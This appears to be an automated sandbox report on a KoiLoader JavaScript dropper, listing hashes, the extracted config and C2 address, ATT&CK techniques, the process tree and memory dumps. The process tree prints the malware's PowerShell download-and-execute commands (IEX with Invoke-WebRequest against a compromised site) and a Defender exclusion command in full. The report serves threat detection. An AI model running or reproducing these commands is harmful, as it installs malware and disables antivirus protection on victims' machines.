koiloader | 3aee16fd175032ee9188351aec3d27b73daf2692366cb6df91259b3b9c64fd08

General

Target

3aee16fd175032ee9188351aec3d27b73daf2692366cb6df91259b3b9c64fd08.js
Size

1KB
MD5

153635d66bd01a944dcd4661cec41896
SHA1

47fe0783bc7b6db0c1456bf86cda61bdd31b5ca8
SHA256

3aee16fd175032ee9188351aec3d27b73daf2692366cb6df91259b3b9c64fd08
SHA512

28a4c1f24614609c2406fa32b5a4dc0531851abfe72d79ce71d477b4da7c87f0f399346dfba453591e3063dc6af4921b927ad7c24ffb619dec44e4a979f88ab5

Score

10^/10

koiloader discovery execution loader

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/stepPCj5H.php

exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/untrippingvT.ps1

Extracted

Family

koiloader

C2

http://195.123.217.43/oversate.php

Attributes

payload_url
https://www.italialife24.it/wp-content/uploads/2021/05

Signatures

KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader
Koiloader family
koiloader

Detects KoiLoader payload 1 IoCs

loader

resource	yara_rule
behavioral2/memory/2896-24-0x00000000084A0000-0x00000000084AD000-memory.dmp	family_koi_loader

Blocklisted process makes network request 5 IoCs

flow	pid	Process
19	2896	powershell.exe
21	2896	powershell.exe
23	3412	powershell.exe
24	3412	powershell.exe
46	2896	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2896	powershell.exe
3560	powershell.exe
3412	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2896	powershell.exe
2896	powershell.exe
3560	powershell.exe
3560	powershell.exe
3412	powershell.exe
3412	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2896	powershell.exe
Token: SeDebugPrivilege	3560	powershell.exe
Token: SeDebugPrivilege	3412	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3252 wrote to memory of 2896	3252	wscript.exe	83
PID 3252 wrote to memory of 2896	3252	wscript.exe	83
PID 3252 wrote to memory of 2896	3252	wscript.exe	83
PID 5008 wrote to memory of 848	5008	DllHost.exe	89
PID 5008 wrote to memory of 848	5008	DllHost.exe	89
PID 5008 wrote to memory of 848	5008	DllHost.exe	89
PID 848 wrote to memory of 3560	848	cmd.exe	91
PID 848 wrote to memory of 3560	848	cmd.exe	91
PID 848 wrote to memory of 3560	848	cmd.exe	91
PID 2896 wrote to memory of 2684	2896	powershell.exe	92
PID 2896 wrote to memory of 2684	2896	powershell.exe	92
PID 2896 wrote to memory of 2684	2896	powershell.exe	92
PID 2684 wrote to memory of 3412	2684	cmd.exe	94
PID 2684 wrote to memory of 3412	2684	cmd.exe	94
PID 2684 wrote to memory of 3412	2684	cmd.exe	94

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\3aee16fd175032ee9188351aec3d27b73daf2692366cb6df91259b3b9c64fd08.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3252
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$l1 = 'https://www.italialife24.it/wp-content/uploads/2021/05/stepPCj5H.php'; $l2 = 'https://www.italialife24.it/wp-content/uploads/2021/05/untrippingvT.ps1'; $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '7z87N0NGGB4F'; IEX(Invoke-WebRequest -UseBasicParsing $l1); IEX(Invoke-WebRequest -UseBasicParsing $l2)"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'https://www.italialife24.it/wp-content/uploads/2021/05/sd2.ps1')"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2684
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -command IEX(IWR -UseBasicParsing 'https://www.italialife24.it/wp-content/uploads/2021/05/sd2.ps1')
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3412

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5008
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:848
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3560

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\r423fd5c7-8559-4b8c-bf1f-c9d05c9f0fd3r.js"
1⤵
PID:1144

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\r423fd5c7-8559-4b8c-bf1f-c9d05c9f0fd3r.js"
1⤵
PID:396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\r423fd5c7-8559-4b8c-bf1f-c9d05c9f0fd3r.js

Filesize
1KB

MD5
153635d66bd01a944dcd4661cec41896

SHA1
47fe0783bc7b6db0c1456bf86cda61bdd31b5ca8

SHA256
3aee16fd175032ee9188351aec3d27b73daf2692366cb6df91259b3b9c64fd08

SHA512
28a4c1f24614609c2406fa32b5a4dc0531851abfe72d79ce71d477b4da7c87f0f399346dfba453591e3063dc6af4921b927ad7c24ffb619dec44e4a979f88ab5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
3c7ae4a9e51bae09b6e8ecf852cfae72

SHA1
5268c49fa0a93c51a6fcb838eb4a8eea864df29a

SHA256
9f041acd17d4f36e103d2a979ec7bd3c4637b709bf1c27a002be3bb3b3b11c7a

SHA512
0442d4a634eaa4a1b889c701f6235ca155523973d1dac450034b388064865a10b9fc26fd7698a54a6202d50a98c5bef5efe4387822f5b6c7c9824bec2348a7f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f2mfr4zp.omv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2896-16-0x00000000061F0000-0x0000000006256000-memory.dmp

Filesize
408KB

Download
memory/2896-4-0x0000000005790000-0x0000000005DB8000-memory.dmp

Filesize
6.2MB

Download
memory/2896-15-0x0000000006180000-0x00000000061E6000-memory.dmp

Filesize
408KB

Download
memory/2896-65-0x0000000074A70000-0x0000000075220000-memory.dmp

Filesize
7.7MB

Download
memory/2896-17-0x0000000006260000-0x00000000065B4000-memory.dmp

Filesize
3.3MB

Download
memory/2896-18-0x0000000006690000-0x00000000066AE000-memory.dmp

Filesize
120KB

Download
memory/2896-19-0x0000000006720000-0x000000000676C000-memory.dmp

Filesize
304KB

Download
memory/2896-20-0x0000000006A70000-0x0000000006A8A000-memory.dmp

Filesize
104KB

Download
memory/2896-21-0x0000000007CE0000-0x000000000835A000-memory.dmp

Filesize
6.5MB

Download
memory/2896-22-0x0000000008410000-0x0000000008411000-memory.dmp

Filesize
4KB

Download
memory/2896-23-0x0000000074A70000-0x0000000075220000-memory.dmp

Filesize
7.7MB

Download
memory/2896-28-0x0000000074A70000-0x0000000075220000-memory.dmp

Filesize
7.7MB

Download
memory/2896-24-0x00000000084A0000-0x00000000084AD000-memory.dmp

Filesize
52KB

Download
memory/2896-14-0x00000000060B0000-0x00000000060D2000-memory.dmp

Filesize
136KB

Download
memory/2896-81-0x0000000074A70000-0x0000000075220000-memory.dmp

Filesize
7.7MB

Download
memory/2896-80-0x0000000074A70000-0x0000000075220000-memory.dmp

Filesize
7.7MB

Download
memory/2896-1-0x0000000074A7E000-0x0000000074A7F000-memory.dmp

Filesize
4KB

Download
memory/2896-3-0x0000000074A70000-0x0000000075220000-memory.dmp

Filesize
7.7MB

Download
memory/2896-2-0x00000000050E0000-0x0000000005116000-memory.dmp

Filesize
216KB

Download
memory/2896-64-0x0000000074A7E000-0x0000000074A7F000-memory.dmp

Filesize
4KB

Download
memory/3412-75-0x0000000008320000-0x0000000008370000-memory.dmp

Filesize
320KB

Download
memory/3412-76-0x0000000008410000-0x00000000084A2000-memory.dmp

Filesize
584KB

Download
memory/3412-72-0x0000000007A50000-0x0000000007A72000-memory.dmp

Filesize
136KB

Download
memory/3412-74-0x0000000007AD0000-0x0000000007AEA000-memory.dmp

Filesize
104KB

Download
memory/3412-73-0x00000000088D0000-0x0000000008E74000-memory.dmp

Filesize
5.6MB

Download
memory/3560-39-0x0000000006E00000-0x0000000006E32000-memory.dmp

Filesize
200KB

Download
memory/3560-69-0x0000000007E70000-0x0000000007E78000-memory.dmp

Filesize
32KB

Download
memory/3560-68-0x0000000007E90000-0x0000000007EAA000-memory.dmp

Filesize
104KB

Download
memory/3560-67-0x0000000007D90000-0x0000000007DA4000-memory.dmp

Filesize
80KB

Download
memory/3560-66-0x0000000007D80000-0x0000000007D8E000-memory.dmp

Filesize
56KB

Download
memory/3560-63-0x0000000007D50000-0x0000000007D61000-memory.dmp

Filesize
68KB

Download
memory/3560-62-0x0000000007DD0000-0x0000000007E66000-memory.dmp

Filesize
600KB

Download
memory/3560-61-0x0000000007BC0000-0x0000000007BCA000-memory.dmp

Filesize
40KB

Download
memory/3560-51-0x0000000007A00000-0x0000000007AA3000-memory.dmp

Filesize
652KB

Download
memory/3560-50-0x0000000006DE0000-0x0000000006DFE000-memory.dmp

Filesize
120KB

Download
memory/3560-40-0x0000000070890000-0x00000000708DC000-memory.dmp

Filesize
304KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads